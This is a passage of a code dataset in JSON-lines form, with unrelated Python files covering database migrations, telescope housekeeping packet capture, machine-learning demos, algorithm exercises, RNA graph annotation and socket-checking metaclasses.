02:45:42.779193\n\n\"\"\"\nimport sqlalchemy as sa\nfrom alembic import op\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = \"ea953034b953\"\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.execute('CREATE EXTENSION IF NOT EXISTS \"uuid-ossp\";')\n # ### end Alembic commands ###\n\n\ndef downgrade() -> None:\n # ### commands auto generated by Alembic - please adjust! ###\n op.execute('DROP EXTENSION IF EXISTS \"uuid-ossp\";')\n # ### end Alembic commands ###\n","repo_name":"Ra1ze505/more_tech_4_back","sub_path":"migrations/versions/2022_10_09_0245-ea953034b953_init.py","file_name":"2022_10_09_0245-ea953034b953_init.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17124901556","text":"import socket\nimport redis\nfrom influxdb import InfluxDBClient\nfrom signal import signal, SIGINT\nfrom sys import exit\nfrom datetime import datetime\n\nfrom panosetiSIconvert import HKconvert\nHKconv = HKconvert()\nHKconv.changeUnits('V')\nHKconv.changeUnits('uA')\n\nHOST = '0.0.0.0'\nPORT = 60002\nOBSERVATORY = \"lick\"\n\nCOUNTER = \"\\rPackets Captured So Far {}\"\n\nsigned = [\n 0, # BOARDLOC\n 0, 0, 0, 0, # HVMON (0 to -80V)\n 0, 0, 0, 0, # HVIMON ((65535-HVIMON) * 38.1nA) (0 to 2.5mA)\n 0, # RAWHVMON (0 to -80V)\n 0, # V12MON (19.07uV/LSB) (1.2V supply)\n 0, # V18MON (19.07uV/LSB) (1.8V supply)\n 0, # V33MON (38.10uV/LSB) (3.3V supply)\n 0, # V37MON (38.10uV/LSB) (3.7V supply)\n 0, # I10MON (182uA/LSB) (1.0V supply)\n 0, # I18MON (37.8uA/LSB) (1.8V supply)\n 0, # I33MON (37.8uA/LSB) (3.3V supply)\n 1, # TEMP1 (0.0625*N)\n 0, # TEMP2 (N/130.04-273.15)\n 0, # VCCINT (N*3/65536)\n 0, # VCCAUX (N*3/65536)\n 0,0,0,0, # UID\n 0, # SHUTTER and LIGHT_SENSOR STATUS\n 0, # unused\n 0,0,0,0 # FWID0 and FWID1\n]\n\nsock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n\nr = redis.Redis(host='localhost', port=6379, db=0)\n\nclient = InfluxDBClient('localhost', 8086, 'root', 'root', 'metadata')\nclient.create_database('metadata')\n\ndef handler(signal_recieved, frame):\n print('\\nSIGINT or CTRL-C detected. Exiting')\n sock.close()\n exit(0)\n \ndef getUID(intArr):\n return intArr[0] + (intArr[1] << 16) + (intArr[2] << 32) + (intArr[3] << 48)\n \ndef storeInRedisandInflux(packet):\n array = []\n startUp = 0\n \n if int.from_bytes(packet[0:1], byteorder='little') != 0x20:\n return False\n if int.from_bytes(packet[1:2], byteorder='little') == 0xaa:\n startUp = 1\n \n for i, sign in zip(range(2,len(packet), 2), signed):\n array.append(int.from_bytes(packet[i:i+2], byteorder='little', signed=sign))\n \n boardName = array[0]\n \n json_body = [\n {\n \"measurement\": \"Quabo{0}\".format(array[0]),\n \"tags\": {\n \"observatory\": OBSERVATORY,\n \"datatype\": \"housekeeping\"\n },\n \"time\": datetime.utcnow().strftime(\"%Y-%m-%dT%H:%M:%SZ\"),\n \"fields\":{\n 'BOARDLOC': array[0],\n 'HVMON0': HKconv.convertValue('HVMON0', array[1]),\n 'HVMON1': HKconv.convertValue('HVMON1', array[2]),\n 'HVMON2': HKconv.convertValue('HVMON2', array[3]),\n 'HVMON3': HKconv.convertValue('HVMON3', array[4]),\n\n 'HVIMON0': HKconv.convertValue('HVIMON0', array[5]),\n 'HVIMON1': HKconv.convertValue('HVIMON1', array[6]),\n 'HVIMON2': HKconv.convertValue('HVIMON2', array[7]),\n 'HVIMON3': HKconv.convertValue('HVIMON3', array[8]),\n\n 'RAWHVMON': HKconv.convertValue('RAWHVMON', array[9]),\n\n 'V12MON': HKconv.convertValue('V12MON', array[10]),\n 'V18MON': HKconv.convertValue('V18MON', array[11]),\n 'V33MON': HKconv.convertValue('V33MON', array[12]),\n 'V37MON': HKconv.convertValue('V37MON', array[13]),\n\n 'I10MON': HKconv.convertValue('I10MON', array[14]),\n 'I18MON': HKconv.convertValue('I18MON', array[15]),\n 'I33MON': HKconv.convertValue('I33MON', array[16]),\n\n 'TEMP1': HKconv.convertValue('TEMP1', array[17]),\n 'TEMP2': HKconv.convertValue('TEMP2', array[18]),\n\n 'VCCINT': HKconv.convertValue('VCCINT', array[19]),\n 'VCCAUX': HKconv.convertValue('VCCAUX', array[20]),\n\n 'UID': '0x{0:04x}{0:04x}{0:04x}{0:04x}'.format(array[24],array[23],array[22],array[21]),\n\n 'SHUTTER_STATUS': array[25]&0x01,\n 'LIGHT_SENSOR_STATUS': (array[25]&0x02) >> 1,\n\n 'FWID0': array[27] + array[28]*0x10000,\n 'FWID1': array[29] + array[30]*0x10000,\n \n 'StartUp': startUp\n }\n }\n ]\n client.write_points(json_body)\n \n r.hset(boardName, 'SYSTIME', json_body[0]['time'])\n for key in json_body[0]['fields']:\n r.hset(boardName, key, json_body[0]['fields'][key])\n\n r.hset('UPDATED', boardName, \"1\")\n\n \n \nsignal(SIGINT, handler)\n\nprint('Running')\nsock.bind((HOST,PORT))\nnum = 0\nwhile(True):\n packet = sock.recvfrom(64)\n num += 1\n storeInRedisandInflux(packet[0])\n print(COUNTER.format(num), end='')\n","repo_name":"ryannova/HSD_PANOSETI","sub_path":"redisScripts/captureHKPackets.py","file_name":"captureHKPackets.py","file_ext":"py","file_size_in_byte":4855,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"11542449612","text":"\na = list(input())\ndic = {}\n\nfor x in a:\n if x.islower():\n tmp = x.upper()\n else:\n tmp = x\n\n if tmp in dic:\n dic[tmp] += 1\n else:\n dic[tmp] = 1\n\ns_dic = sorted(dic.items(), key = lambda x:x[1], reverse=True)\n\nif len(s_dic)>=2:\n if s_dic[0][1] == s_dic[1][1]:\n print('?')\n else:\n print(s_dic[0][0])\nelse:\n print(s_dic[0][0])\n\n\n","repo_name":"muyaaho/study","sub_path":"baekjoon/07_문자열/05_1157.py","file_name":"05_1157.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"27450340124","text":"# -*- coding:utf-8 -*-\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nfrom sklearn import svm, datasets\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import accuracy_score\n\ndef get_data():\n data = datasets.load_iris()\n x,y=data['data'],data['target']\n return x,y\n\ndef main():\n mpl.rcParams['font.sans-serif'] = [u'SimHei']\n mpl.rcParams['axes.unicode_minus'] = False\n x,y = get_data()\n x=x[:,1:3]\n x_train,x_test,y_train,y_test = train_test_split(x,y,random_state=1,train_size=0.6)\n model = svm.SVC(C=0.1,kernel='linear',decision_function_shape='ovr')\n model.fit(x_train,y_train)\n y_hat = model.predict(x_test)\n print(\"训练集准确率是:\", accuracy_score(y_train, model.predict(x_train)))\n print(\"测试集准确率是:\",accuracy_score(y_hat,y_test))\n\n x1_min, x1_max = x[:, 0].min(), x[:, 1].max()\n x2_min, x2_max = x[:, 1].min(), x[:, 1].max()\n t1 = np.linspace(x1_min, x1_max, 500)\n t2 = np.linspace(x2_min, x2_max, 500)\n x1,x2 = np.meshgrid(t1,t2)\n x_show = np.stack((x1.flat,x2.flat),axis=1)\n grid_hat = model.predict(x_show) \n grid_hat = grid_hat.reshape(x1.shape)\n cm_light = mpl.colors.ListedColormap(['#A0FFA0', '#FFA0A0', '#A0A0FF'])\n cm_dark = mpl.colors.ListedColormap(['g', 'r', 'b'])\n plt.figure()\n plt.pcolormesh(x1,x2,grid_hat,cmap=cm_light)\n plt.scatter(x[:,0],x[:,1],c=y,edgecolors='k',s=50,cmap=cm_dark)\n plt.scatter(x_test[:,0],x_test[:,1],s=120, facecolors='none', zorder=10)\n iris_feature = u'花萼长度', u'花萼宽度', u'花瓣长度', u'花瓣宽度'\n plt.xlabel(iris_feature[1],fontsize=14)\n plt.ylabel(iris_feature[2],fontsize=14)\n plt.xlim(x1_min,x1_max)\n plt.ylim(x2_min,x2_max)\n plt.title(u'鸢尾花SVM二特征分类', fontsize=16)\n plt.grid(b=True, ls=':')\n plt.tight_layout(pad=1.5)\n plt.show()\n\nif __name__ == '__main__':\n main()\n","repo_name":"wangxupeng/master-degree","sub_path":"machine learning/SVM/SVM_introduction.py","file_name":"SVM_introduction.py","file_ext":"py","file_size_in_byte":1966,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"48"} +{"seq_id":"40393374723","text":"# -*- coding: utf-8 -*-\n# itertools.combinations -> 순서를 고려하지 않고, 중복없이\n# itertools.permutations -> 순서를 고려하고, 중복없이\n\nimport sys\nfrom itertools import combinations\nfrom functools import reduce\n\ninput = sys.stdin.readline\n\nN = int(input())\na, b = [], []\n\nfor _ in range(N):\n tmp_a, tmp_b = input().split()\n a.append(tmp_a)\n b.append(tmp_b)\n\nans = 999999999\n\nfor i in range(1, N+1):\n com_a, com_b = list(combinations(a, i)), list(combinations(b, i))\n\n for tmp_a, tmp_b in zip(com_a, com_b):\n mul_a = reduce(lambda x, y: int(x) * int(y), tmp_a)\n sum_b = 0\n for elem in tmp_b: sum_b += int(elem)\n \n ans = min(ans, abs(int(mul_a)-sum_b))\n\nprint(ans)\n","repo_name":"sonhl0723/algorithm","sub_path":"BOJ_restart/Brute Force/2961.py","file_name":"2961.py","file_ext":"py","file_size_in_byte":739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"23155010066","text":"# -*- coding:utf-8 -*-\nimport yaml\nimport os\ncur = os.path.dirname(os.path.realpath(__file__))\ndef get_token(yamlName='token.yaml'):\n '''\n 从 token.yaml 读取 token 值\n :param yamlName:\n :return:\n '''\n p = os.path.join(cur,yamlName)\n f = open(p,encoding = 'utf-8')\n a = f.read()\n t = yaml.load(a,Loader = yaml.FullLoader)\n f.close()\n t= t[\"token\"]\n print (t)\n return t\n\ndef get_userid(yamlName='token.yaml'):\n p = os.path.join(cur, yamlName)\n f = open(p, encoding='utf-8')\n a = f.read()\n t = yaml.load(a, Loader=yaml.FullLoader)\n f.close()\n return t['user_id']\n\nif __name__ == '__main__':\n print(get_token())","repo_name":"likedi421847541/test_ApiAuto","sub_path":"common/read_token.py","file_name":"read_token.py","file_ext":"py","file_size_in_byte":671,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32587177581","text":"filename = 'guest.txt'\n\nwhile True:\n\tname = input(\"What is your name?\")\n\t\n\t# Print greeting to visitor\n\tprint(f\"Welcome, {name}!\\n\")\n\n\t# Record visitor's name in text file\n\twith open(filename,'a') as file_object:\n\t\tfile_object.write(f\"{name.title()} has visited this page.\\n\")\n\n\t# Check if there are other visitors\n\tresponse = input(\"Are there any other visitors? y/n\")\n\tif response == 'n':\n\t\tbreak","repo_name":"Rauada/python_work","sub_path":"examples/guest.py","file_name":"guest.py","file_ext":"py","file_size_in_byte":398,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"1271308552","text":"import math\n\ndef aks(p):\n\tif p==2: return True\n\tc = 1\n\tfor i in range(p//2+1):\n\t\tc = c*(p-i) // (i+1)\n\t\tif c%p: return False\n\treturn True\n\t\ndef main():\n\t#print(\"Is Prime: {}\".format(aks(100123456789) ) )\n\t\n\tprimes = []\n\tupper = 1000\n\tfor number in range(1, upper):\n\t\toutput = int( aks(number) )\n\t\tif output:\n\t\t\tprimes.append(number)\n\t\t\t#print(\"p = {}, is Prime: {}\".format(number, output) )\n\tprint( len(primes) )\t\n\n\t\nif __name__ == \"__main__\":\n\tmain()","repo_name":"MHayden18/DataSecurity","sub_path":"Assignments/HW4/aks.py","file_name":"aks.py","file_ext":"py","file_size_in_byte":451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"8108476310","text":"from typing import Optional, Tuple, TYPE_CHECKING\nfrom dto import CategoryDto, FillDto\nfrom telegramapi.types import Message\nfrom message_parsers import IMessageParser, IParsedMessage\nfrom services.cache_service import CacheService\n\nif TYPE_CHECKING:\n from logging import Logger\n\n\nclass NewCategoryMessageParser(IMessageParser[Tuple[CategoryDto, FillDto]]):\n def __init__(self, cache_service: CacheService, logger: 'Logger') -> None:\n self.cache_service = cache_service\n self.logger = logger\n\n def parse(self, message: Message) -> Optional[IParsedMessage[CategoryDto]]:\n if not message.reply_to_message:\n return None\n if not message.reply_to_message.text:\n return None\n if not message.reply_to_message.text.startswith('Создание категории для пополнения: '):\n return None\n try:\n cat_name, cat_code, cat_proportion = message.text.split(',')\n cat_name = cat_name.strip()\n cat_code = cat_code.strip()\n cat_proportion = float(cat_proportion.strip())\n fill = self.cache_service.get_fill_for_message(message.reply_to_message)\n aliases = []\n if fill.description:\n aliases.append(fill.description)\n category = CategoryDto(name=cat_name, code=cat_code, aliases=aliases, proportion=cat_proportion)\n return IParsedMessage(original_message=message, data=(category, fill))\n except Exception:\n self.logger.exception('Ошибка создания категории')\n return None\n","repo_name":"nkuznetsov44/MovieDownloaderBot","sub_path":"card_filling_bot/message_parsers/new_category_message_parser.py","file_name":"new_category_message_parser.py","file_ext":"py","file_size_in_byte":1623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"44167990876","text":"import numpy as np\nimport pandas as pd\nfrom cvxopt import matrix, solvers\n\nclass StyleAnalysis:\n\tdef __init__(self, fund_rts, factors, factor_names):\n\t\tself.__fund_rts = fund_rts\n\t\tself.__factors = factors\n\t\tself.__factor_names = factor_names\n\t\tself.__num_of_factors = len(factor_names)\n\t\t## configuration for the QP solver\n\t\tsolvers.options['show_progress'] = False\n\t\tsolvers.options['feastol'] = 1e-12\n\t\tsolvers.options['abstol'] = 1e-12\n\n\tdef analyze(self):\n\t\tQ = matrix(2*np.dot(self.__factors.T, self.__factors))\n\t\tp = matrix(-2*np.dot(self.__factors.T, self.__fund_rts))\n\n\t\tG = matrix(-np.identity(self.__num_of_factors))\n\t\th = matrix(np.zeros(self.__num_of_factors), (self.__num_of_factors, 1))\n\t\tA = matrix(np.ones(self.__num_of_factors), (1, self.__num_of_factors))\n\t\tb = matrix(1.)\n\n\t\tsol = np.array(solvers.qp(Q, p, G=G, h=h, A=A, b=b, kktsolver='ldl')['x']).flatten()\n\t\treturn pd.Series(data=sol, index=self.__factor_names)\n\n","repo_name":"WizardKingZ/portfolio_optimization","sub_path":"portfolio_optimization/style_analysis.py","file_name":"style_analysis.py","file_ext":"py","file_size_in_byte":937,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"48"} +{"seq_id":"4165565775","text":"import pandas as pd\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\nfrom sklearn.covariance import EllipticEnvelope\r\nfrom sklearn.preprocessing import StandardScaler\r\nfrom sklearn.decomposition import PCA\r\nfrom sklearn.model_selection import train_test_split\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.metrics import confusion_matrix\r\n\r\n\r\n\r\ndata = pd.read_csv('data_class_raw.csv')\r\n\r\n#define x and y\r\nx = data.drop('y',axis=1)\r\ny = data['y']\r\n\r\n# fig1 = plt.figure(figsize=(5,5))\r\n# bad = plt.scatter(x['x1'][y==0],x['x2'][y==0],label = 'bad')\r\n# good = plt.scatter(x['x1'][y==1],x['x2'][y==1],label='good')\r\n# plt.title('raw data')\r\n# plt.xlabel('x1')\r\n# plt.ylabel('x2')\r\n# plt.legend()\r\n# plt.show()\r\n\r\n#anomay detection\r\n\r\nad_model = EllipticEnvelope(contamination=0.02)\r\nad_model.fit(x[y==0])\r\ny_predict_bad = ad_model.predict(x[y==0])\r\n# ad_model.fit(x[y==1])\r\n# y_predict_good = ad_model.predict(x[y==1])\r\nfig2 = plt.figure(figsize=(5,5))\r\nbad = plt.scatter(x['x1'][y==0],x['x2'][y==0],label = 'bad')\r\ngood = plt.scatter(x['x1'][y==1],x['x2'][y==1],label='good')\r\nplt.scatter(x['x1'][y==0][y_predict_bad==-1],x['x2'][y==0][y_predict_bad==-1],marker='x',s=150)\r\n# plt.scatter(x['x1'][y==1][y_predict_good==-1],x['x2'][y==1][y_predict_good==-1],marker='x',s=150)\r\nplt.title('raw data')\r\nplt.xlabel('x1')\r\nplt.ylabel('x2')\r\nplt.legend()\r\nplt.show()\r\n\r\n\r\n#导入处理之后的数据\r\ndata = pd.read_csv('data_class_processed.csv')\r\nx = data.drop('y',axis=1)\r\ny = data['y']\r\nx_norm = StandardScaler().fit_transform(x)\r\npca = PCA(n_components=2)\r\nx_reduced = pca.fit_transform(x_norm)\r\nvar_ratio = pca.explained_variance_ratio_\r\n\r\nfig4 = plt.figure(figsize=(5,5))\r\nplt.bar([1,2],var_ratio)\r\nplt.show()\r\n\r\n\r\n#train and test split\r\n\r\nx_train,x_test,y_train,y_test = train_test_split(x,y,random_state=4,test_size=0.4)\r\nknn_10 = KNeighborsClassifier(n_neighbors=10)\r\nknn_10.fit(x_train,y_train)\r\ny_train_predict = knn_10.predict(x_train)\r\ny_test_predict = knn_10.predict(x_test)\r\naccuracy_train = accuracy_score(y_train,y_train_predict)\r\naccuracy_test = accuracy_score(y_test,y_test_predict)\r\n\r\n\r\n\r\n#visualize the knn result and boundary\r\n\r\nxx, yy = np.meshgrid(np.arange(0,10,0.05),np.arange(0,10,0.05))\r\nx_range = np.c_[xx.ravel(),yy.ravel()]\r\ny_range_predict = knn_10.predict(x_range)\r\n\r\nfig5 = plt.figure(figsize=(5,5))\r\nbad = plt.scatter(x_range[:,0][y_range_predict==0],x_range[:,1][y_range_predict==0],label = 'knn_bad')\r\ngood = plt.scatter(x_range[:,0][y_range_predict==1],x_range[:,1][y_range_predict==1],label='knn_good')\r\nbad = plt.scatter(x['x1'][y==0],x['x2'][y==0],label = 'bad',marker='x')\r\ngood = plt.scatter(x['x1'][y==1],x['x2'][y==1],label='good')\r\n#plt.scatter(x['x1'][y==0][y_predict_bad==-1],x['x2'][y==0][y_predict_bad==-1],marker='x',s=150)\r\n# plt.scatter(x['x1'][y==1][y_predict_good==-1],x['x2'][y==1][y_predict_good==-1],marker='x',s=150)\r\nplt.title('prediction result')\r\nplt.xlabel('x1')\r\nplt.ylabel('x2')\r\nplt.legend()\r\nplt.show()\r\n\r\n\r\ncm = confusion_matrix(y_test,y_test_predict)\r\nTP = cm[1,1]\r\nTN = cm[0,0]\r\nFP = cm[0,1]\r\nFN = cm[1,0]\r\naccuracy = (TP + TN)/(TP+TN+FP+FN)\r\nrecall = TP/(TP+FN)\r\nspecificity = TN/(TN+FP)\r\nprecision = TP/(TP+FP)\r\nf1_score = (2*recall*precision)/(precision+recall)\r\n\r\n\r\n\r\n#try different k and calculate the accuracy for each\r\n\r\n\r\nn = [i for i in range(1,21)]\r\naccuracy_train = []\r\naccuracy_test = []\r\nfor i in n:\r\n knn = KNeighborsClassifier(n_neighbors=i)\r\n knn.fit(x_train,y_train)\r\n y_train_predict = knn.predict(x_train)\r\n y_test_predict = knn.predict(x_test)\r\n accuracy_train_i = accuracy_score(y_train,y_train_predict)\r\n accuracy_test_i = accuracy_score(y_test,y_test_predict)\r\n accuracy_train.append(accuracy_train_i)\r\n accuracy_test.append(accuracy_test_i)\r\nprint(accuracy_train,accuracy_test)\r\n\r\nfig5 = plt.figure(figsize=(12,5))\r\nplt.subplot(121)\r\nplt.plot(n,accuracy_train,marker = 'o')\r\nplt.title('training accuracy vs n_neighbors')\r\nplt.xlabel('n_neighbors')\r\nplt.ylabel('accuracy')\r\nplt.subplot(122)\r\nplt.plot(n,accuracy_test,marker = 'o')\r\nplt.title('testing accuracy vs n_neighbors')\r\nplt.xlabel('n_neighbors')\r\nplt.ylabel('accuracy')\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"HarCP3/machine-learning","sub_path":"good_bad_classification.py","file_name":"good_bad_classification.py","file_ext":"py","file_size_in_byte":4250,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5481268907","text":"\"\"\"\nFunctions to take a nx object and return (nx, dict_tree, dict_rings)\n\"\"\"\nimport sys\nimport os\nimport argparse\n\nscript_dir = os.path.dirname(os.path.realpath(__file__))\nif __name__ == \"__main__\":\n sys.path.append(os.path.join(script_dir, '..'))\n\nimport pickle\nfrom collections import defaultdict, Counter, OrderedDict\nimport multiprocessing as mlt\n\nimport networkx as nx\nfrom tqdm import tqdm\n\nfrom rnaglib.utils.graphlet_hash import extract_graphlet, build_hash_table, Hasher\nfrom rnaglib.config.graph_keys import GRAPH_KEYS\n\nTOOL = 'RGLIB'\n\ndef cline():\n \"\"\"\n annotate_all(graph_path=\"../data/ref_graph\", dump_path='../data/annotated/ref_graph', do_hash=True, parallel=False)\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-g\", \"--graph_path\", default=os.path.join(script_dir, '../data/samples_v2_chunks'))\n parser.add_argument(\"-a\", \"--annot_id\", default='samples', type=str, help=\"Annotated data ID.\")\n parser.add_argument(\"-ha\", \"--do_hash\", default=False, action='store_true', help=\"Hash graphlets.\")\n parser.add_argument(\"-p\", \"--parallel\", default=False, action='store_true', help='Multiprocess annotations.')\n parser.add_argument(\"-re\", \"--re_annotate\", default=False, action='store_true',\n help='Read alreadya annotated graphs.')\n args, _ = parser.parse_known_args()\n return args\n\n\ndef caller(graph_path=os.path.join(script_dir, '../data/samples_v2'), annot_id='samples', do_hash=False,\n parallel=False, re_annotate=False):\n annotate_all(graph_path=graph_path,\n dump_path=os.path.join(os.path.join(script_dir, '..', 'data', 'annotated', annot_id)),\n do_hash=do_hash, parallel=parallel,\n re_annotate=re_annotate)\n pass\n\n\ndef node_2_unordered_rings(G, v, depth=5, hasher=None, hash_table=None):\n \"\"\"\n Return rings centered at `v` up to depth `depth`.\n\n Return dict of dicts. One dict for each type of ring.\n Each inner dict is keyed by node id and its value is a list of lists.\n A ring is a list of lists with one list per depth ring.\n\n :param G:\n :param v:\n :param depth:\n :param: include_degrees: Whether to add a list of neighbor degrees to ring.\n :return:\n\n >>> import networkx as nx\n >>> G = nx.Graph()\n >>> G.add_edges_from([(1,2, {'label': 'A'}),\\\n (1, 3, {'label': 'B'}),\\\n (2, 3, {'label': 'C'}),\\\n (3, 4, {'label': 'A'})])\n >>> rings = node_2_unordered_rings(G, 1, depth=2)\n >>> rings['edge']\n [[None], ['A', 'B'], ['C', 'A']]\n\n \"\"\"\n do_hash = not hasher is None\n\n if do_hash:\n g_hash = hasher.hash(extract_graphlet(G, v))\n assert g_hash in hash_table\n graphlet_rings = [[g_hash]]\n else:\n graphlet_rings = [[extract_graphlet(G, v)]]\n\n node_rings = [[v]]\n edge_rings = [[None]]\n visited = set()\n visited.add(v)\n visited_edges = set()\n for k in range(depth):\n ring_k = []\n edge_ring_k = []\n ring_k_graphlet = []\n for node in node_rings[k]:\n children = []\n e_labels = []\n children_graphlet = []\n for nei in G.neighbors(node):\n if nei not in visited:\n visited.add(nei)\n children.append(nei)\n # check if we've seen this edge.\n e_set = frozenset([node, nei])\n if e_set not in visited_edges:\n if do_hash:\n nei_h = hasher.hash(extract_graphlet(G, nei))\n assert nei_h in hash_table\n children_graphlet.append(nei_h)\n else:\n children_graphlet.append(extract_graphlet(G, nei))\n e_labels.append(G[node][nei][GRAPH_KEYS['bp_type'][TOOL]])\n visited_edges.add(e_set)\n ring_k.extend(children)\n edge_ring_k.extend(e_labels)\n if do_hash:\n ring_k_graphlet.extend(children_graphlet)\n node_rings.append(ring_k)\n edge_rings.append(edge_ring_k)\n graphlet_rings.append(ring_k_graphlet)\n # uncomment to draw root node\n # from tools.drawing import rna_draw\n # rna_draw(G, node_colors=['blue' if n == v else 'grey' for n in G.nodes()], show=True)\n return {'node': node_rings, 'edge': edge_rings, 'graphlet': graphlet_rings}\n\n\ndef build_ring_tree_from_graph(graph, depth=5, hasher=None, hash_table=None):\n \"\"\"\n :param graph: nx\n :return: dict (ring_level: node: ring)\n \"\"\"\n dict_ring = defaultdict(dict)\n for node in sorted(graph.nodes()):\n rings = node_2_unordered_rings(graph,\n node,\n depth=depth,\n hasher=hasher,\n hash_table=hash_table)\n dict_ring['node'][node] = rings['node']\n dict_ring['edge'][node] = rings['edge']\n dict_ring['graphlet'][node] = rings['graphlet']\n\n return dict_ring\n\n\ndef annotate_one(args):\n \"\"\"\n To be called by map\n :param args: ( g (name of the graph),\n :return:\n \"\"\"\n g, graph_path, dump_path, hasher, re_annotate, hash_table = args\n try:\n dump_name = os.path.basename(g).split('.')[0] + \"_annot.p\"\n dump_full = os.path.join(dump_path, dump_name)\n for processed in os.listdir(dump_path):\n if processed.startswith(dump_name):\n return 0, 0\n if re_annotate:\n graph = pickle.load(open(os.path.join(graph_path, g), 'rb'))['graph']\n else:\n graph = nx.read_gpickle(os.path.join(graph_path, g))\n rings = build_ring_tree_from_graph(graph,\n depth=5,\n hasher=hasher,\n hash_table=hash_table)\n\n if dump_path:\n pickle.dump({'graph': graph,\n 'rings': rings},\n open(dump_full, 'wb'))\n return 0, g\n except Exception as e:\n print(e)\n return 1, g\n\n\ndef annotate_all(dump_path='../data/annotated/sample_v2',\n graph_path='../data/chunks_nx',\n parallel=True,\n do_hash=True,\n wl_hops=3,\n graphlet_size=1,\n re_annotate=False):\n \"\"\"\n Routine for all files in a folder\n :param dump_path:\n :param graph_path:\n :param parallel:\n :return:\n \"\"\"\n try:\n os.mkdir(dump_path)\n except:\n pass\n\n if do_hash:\n print(\">>> hashing graphlets.\")\n hasher = Hasher(wl_hops=wl_hops)\n hash_table = build_hash_table(graph_path,\n hasher, annot=re_annotate,\n graphlet_size=graphlet_size\n )\n print(f\">>> found {len(hash_table)} graphlets.\")\n name = os.path.basename(dump_path)\n pickle.dump((hasher.__dict__, hash_table),\n open(os.path.join(dump_path + \"_hash.p\"), 'wb'))\n else:\n hasher = None\n\n graphs = os.listdir(graph_path)\n failed = 0\n print(\">>> annotating all.\")\n pool = mlt.Pool()\n if parallel:\n print(\">>> going parallel\")\n arguments = [(g, graph_path, dump_path, hasher, re_annotate, hash_table) for g in graphs]\n for res in tqdm(pool.imap_unordered(annotate_one, arguments), total=len(graphs)):\n if res[0]:\n failed += 1\n print(f'failed on {res[1]}, this is the {failed}-th one on {len(graphs)}')\n print(f'failed on {(failed)} on {len(graphs)}')\n return failed\n for graph in tqdm(graphs, total=len(graphs)):\n res = annotate_one((graph, graph_path, dump_path, hasher, re_annotate, hash_table))\n if res[0]:\n failed += 1\n print(f'failed on {graph}, this is the {failed}-th one on {len(graphs)}')\n pass\n\n\nif __name__ == '__main__':\n import doctest\n\n doctest.testmod()\n\n args = cline()\n caller(**vars(args))\n","repo_name":"Jonbroad15/RNAGlib","sub_path":"rnaglib/prepare_data/khop_annotate.py","file_name":"khop_annotate.py","file_ext":"py","file_size_in_byte":8216,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"48"} +{"seq_id":"16923197434","text":"from dis import get_instructions\n\n\nclass ClientMaker(type):\n def __init__(cls, cls_name, bases, cls_dict):\n get_check = False\n post_check = False\n\n for func in cls_dict:\n try:\n instructions = get_instructions(cls_dict[func])\n except TypeError:\n pass\n else:\n for op in instructions:\n if op.opname == 'LOAD_GLOBAL':\n method_name = op.argval\n if method_name in ('accept', 'listen'):\n raise TypeError(f'Unable usage [{method_name}] method in [Client] class')\n get_check = True if method_name == 'get_data' else get_check\n post_check = True if method_name == 'post_data' else post_check\n\n func_check = get_check and post_check\n if not func_check:\n raise TypeError('Required function is missing')\n\n super().__init__(cls_name, bases, cls_dict)\n\n\nclass ServerMaker(type):\n def __init__(cls, cls_name, bases, cls_dict):\n\n method_list = []\n attr_list = []\n\n for func in cls_dict:\n try:\n instructions = get_instructions(cls_dict[func])\n except TypeError:\n pass\n else:\n for op in instructions:\n if op.opname == 'LOAD_GLOBAL' and op.argval not in method_list:\n method_list.append(op.argval)\n elif op.opname == 'LOAD_ATTR' and op.argval not in attr_list:\n attr_list.append(op.argval)\n\n if 'connect' in method_list:\n raise TypeError('Unable usage [connect] method in [Server] class')\n if 'SOCK_STREAM' not in attr_list and 'AF_INET' not in attr_list:\n raise TypeError('Incorrect socket initialising')\n\n super().__init__(cls_name, bases, cls_dict)\n","repo_name":"stopguard/hostclientapps","sub_path":"pyqt2/common/metaclasses.py","file_name":"metaclasses.py","file_ext":"py","file_size_in_byte":1933,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"17561738792","text":"import it, time, os, smtplib, ice\nfrom it.It3Command import It3Command\nfrom PythonQt.QtGui import QDialogButtonBox\nfrom PythonQt.QtGui import QHBoxLayout\nfrom PythonQt.QtGui import QVBoxLayout\nfrom PythonQt.QtGui import QLineEdit\nfrom PythonQt.QtGui import QFrame\nfrom PythonQt.QtGui import QTabWidget\nfrom PythonQt.QtGui import QWidget\nfrom PythonQt.QtGui import QLayout\nfrom PythonQt.QtGui import QSizePolicy\nfrom PythonQt import QtCore\n\nfrom email.mime.image import MIMEImage\nfrom email.mime.text import MIMEText\nfrom 